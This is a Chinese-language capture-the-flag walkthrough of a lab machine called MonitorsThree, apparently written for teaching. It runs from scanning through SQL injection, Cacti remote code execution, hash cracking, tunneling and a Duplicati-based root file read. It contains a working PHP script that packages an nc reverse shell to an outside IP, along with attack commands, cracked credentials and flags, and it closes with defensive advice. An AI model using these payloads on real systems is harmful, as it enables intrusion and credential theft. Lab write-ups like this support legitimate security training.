Monitorsthree 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.11.30
开放端口:
- 22/tcp (SSH) - OpenSSH 8.9p1 Ubuntu
- 80/tcp (HTTP) - nginx 1.18.0 (Ubuntu)
nmap -p- 10.10.11.30 --min-rate 1000 -sC -sV -Pn
发现HTTP服务重定向到 http://monitorsthree.htb/,需修改hosts文件:
echo '10.10.11.30 monitorsthree.htb' >> /etc/hosts
1.2 子域名枚举
使用ffuf进行子域名爆破:
ffuf -w ~/Subdomain.txt -u http://monitorsthree.htb -H 'HOST: FUZZ.10.10.11.30' -fs 13560
发现子域名 cacti.monitorsthree.htb,添加到hosts:
echo '10.10.11.30 cacti.monitorsthree.htb' >> /etc/hosts
2. Web应用渗透
2.1 SQL注入漏洞利用
目标URL: http://monitorsthree.htb/forgot_password.php
使用sqlmap进行自动化注入:
sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --level=5 --risk=3 --batch
成功获取管理员凭据:
- 用户名: admin
- 密码: greencacti2001
2.2 Cacti CMS RCE漏洞利用
访问Cacti管理界面:
http://cacti.monitorsthree.htb/cacti/
使用获取的凭据登录后,利用"Import/Export"功能实现RCE:
创建PHP反向shell脚本(rev.php):
<?php
$xmldata = "<xml> <files> <file> <name>resource/test.php</name> <data>%s</data> <filesignature>%s</filesignature> </file> </files> <publickey>%s</publickey> <signature></signature></xml>";
$filedata = "<?php shell_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.43 10032 >/tmp/f')";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
执行脚本并导入:
php rev.php
在Cacti管理界面:
- 导航到"Import/Export" -> "Import Packages"
- 上传生成的test.xml.gz文件
3. 权限提升
3.1 获取数据库凭据
在获取的shell中查找Cacti配置文件:
cat /var/www/html/cacti/include/config.php
获取数据库凭据:
- 用户: cactiuser
- 密码: cactiuser
3.2 数据库查询
连接MariaDB并查询用户表:
mysql -u cactiuser -p
查询用户认证信息:
select * from user_auth\G;
获取用户marcus的密码哈希:
$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
3.3 密码破解
使用hashcat破解哈希:
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
破解结果:
- 用户名: marcus
- 密码: 12345678910
3.4 切换用户
使用获取的凭据切换到marcus用户:
su marcus
获取user flag:
f9fb42ef0c734ab3310e509e6b1117c5
4. 特权提升
4.1 发现Duplicati服务
使用chisel建立隧道访问内部服务:
本地启动chisel服务器:
chisel server -p 8000 --reverse
在目标机器上连接:
./chisel client 10.10.16.43:8000 R:8200:localhost:8200
4.2 获取Duplicati配置
复制Duplicati配置文件:
scp -i /tmp/id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .
4.3 分析SQLite数据库
sqlite3 Duplicati-server.sqlite
从数据库中提取加密密码:
Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
4.4 密码解密过程
-
获取nonce值:
2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM= -
使用JavaScript解密:
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
- 最终密码:
h4LMqdVeLuzUINQU48IOw%2bCMiGqxaMi6rs/p1CDsm0Y%3d
4.5 利用Duplicati获取root权限
-
访问本地Duplicati界面:
http://127.0.0.1:8200/ngax/index.html#/add -
添加备份路径:
/source/tmp//source/root/root.txt
-
启动恢复操作:
http://127.0.0.1:8200/ngax/index.html#/restorestart -
查看恢复结果:
http://127.0.0.1:8200/ngax/index.html#/restore/18 -
读取root flag:
0bc465bacfe9ffc0f42898508faafa69
5. 关键点总结
-
SQL注入:
- 使用sqlmap自动化检测和利用
- 关键参数: forgot_password.php
-
Cacti RCE:
- 通过XML导入功能实现代码执行
- 需要构造特定格式的XML文件
-
密码破解:
- 识别哈希类型(BCrypt)
- 使用hashcat进行暴力破解
-
Duplicati提权:
- 利用备份服务访问受限文件
- 需要解密存储的密码
- 通过恢复功能读取root文件
-
隧道技术:
- 使用chisel建立反向隧道
- 访问本地受限服务
6. 防御建议
-
修复SQL注入漏洞:
- 使用参数化查询
- 实施输入验证
-
保护Cacti系统:
- 限制XML导入功能
- 实施文件签名验证
-
密码安全:
- 使用强密码策略
- 避免使用默认凭据
-
服务加固:
- 限制备份服务的访问权限
- 加密敏感配置文件
-
网络隔离:
- 限制内部服务的网络暴露
- 实施适当的防火墙规则